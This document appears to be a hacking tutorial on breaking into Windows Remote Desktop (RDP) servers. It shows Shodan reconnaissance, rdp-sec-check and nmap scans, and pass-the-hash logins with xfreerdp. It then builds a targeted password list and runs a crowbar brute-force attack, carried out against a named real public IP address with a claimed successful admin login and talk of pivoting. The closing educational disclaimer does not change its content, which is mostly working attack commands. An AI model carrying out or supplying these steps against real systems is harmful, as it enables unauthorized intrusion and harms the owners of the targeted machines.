SHODAN:
Searching for systems with RDP protocol yielded the following result:
Systems with RDP Protocol
Among the found systems, vulnerable ones can be identified and connected to.
Here is an example:
Vulnerable Server
Let's start with gathering information about the system. For now, I will not touch the previously found system and will tell you about ways to hack RDP so that we can eventually hack into the car with the information obtained.
Information Gathering:
The rdp-sec-check tool checks which encryption algorithms and authentication methods are used, as well as some other security settings. At the end of the check, rdp-sec-check summarizes possible security issues with the remote desktop service.
Installation in Kali Linux:
sudo cpan
install Encoding::BER
Ctrl+d
wget
https://raw.githubusercontent.com/portcullislabs/rdp-sec-check/master/rdp-sec-check.pl ↗
chmod +x rdp-sec-check.pl
./rdp-sec-check.pl --help
Usage example:
./rdp-sec-check.pl IP
If there is nothing after the line "[+] Summary of security issues", no obvious issues have been identified.
Information can also be gathered using nmap scripts.
rdp-enum-encryption - determines the level of security and encryption.
rdp-ntlm-info - lists info from remote RDP services with CredSSP (NLA) authentication enabled.
rdp-vuln-ms12-020 - checks the system for the ms12-020 vulnerability.
To run all scripts at once:
sudo nmap -p 3389 -sU -sS --script rdp-enum-encryption,rdp-ntlm-info,rdp-vuln-ms12-020 IP
Pass-The-Hash:
Kali Linux comes with an open-source RDP client "xfreerdp" installed by default, which is capable of connecting to the system using a hash. This hash is stored on the system to which you need to connect in the NT format.
Command for attack:
xfreerdp /d:domain_name /u:Administrator/pth:8846F7EAEE8FB117AD06BDD830B7586C /v:IP
where after /d: - domain name,
after /u: - username,
after /pth: - hash,
after /v: - server IP.
But there is a catch to this method. This way will only work for the administrator, i.e., it is not possible to connect to users from the RDP Users group.
BruteForce:
Let's consider crowbar for brute-force attack.
First, let's install crowbar:
sudo apt install crowbar
And confirm the installation by pressing the Y key when prompted.
As the target, you can even specify a range of IP addresses using the -S file.txt option, where "file.txt" is a file with IP addresses. The -s option can be used to specify a range of IP addresses in CIDR format. If you need to specify a single target, use -s ip/32, where "32" is the mask.
Command for attack:
sudo crowbar -b rdp -U user.txt -C passwords.txt -s IP/32
-b rdp - protocol
-U user.txt - file with users
-C - file with passwords
-s - Target
Using the example from shodan:
Let's take the previously found machine and try to gain access to it via RDP using the information above.
First, let's gather information about the server.
By the way, on shodan, open ports are immediately indicated, and among them there is 445 (eternalblue or ms17_010 vulnerability):
445 port
Enter the command to check for security via rdp-sec-check:
rdp-sec-check 103.116.250.6
rdp-sec-check output
As can be seen, the server clearly has issues. DoS or MITM attacks can be reproduced here. Also, there is weak encryption.
Now enter the command to collect information via nmap:
sudo nmap -p 3389 -sU -sS --script rdp-enum-encryption,rdp-ntlm-info,rdp-vuln-ms12_020 103.116.250.6
nmap output
The information about the server is sufficient to understand that the admin did not bother with its security. Let's try to use crowbar for dictionary attack. For this, we download the tool from
https://github.com/Bitwise-01/Passwords ↗
Go to the folder where you downloaded the Passwords tool:
cd Passwords
and run it using the command:
python3 passgen.py
Here you will need to enter keywords known about the victim (computer name, organization, date of birth, network name, etc.).
When you finish filling in the dictionary, enter the word "generate," and see how the dictionary is generated.
Next, we will use brute-force to try to log in using the generated dictionary. Let's assume that the username is "Administrator" and the password dictionary is in a file called "passwords.txt". We will use the command:
sudo crowbar -b rdp -u Administrator -C passwords.txt -s 103.116.250.6/32
crowbar output
As can be seen from the output, the attack was successful, and we were able to log in with the password "123456". Now we have access to the remote desktop of the vulnerable server and can use it to pivot to other machines on the network or perform other malicious activities.
In conclusion, it should be noted that this information is provided for educational purposes only, and it is illegal to hack into systems without permission. It is important to use this knowledge responsibly and only for ethical purposes.
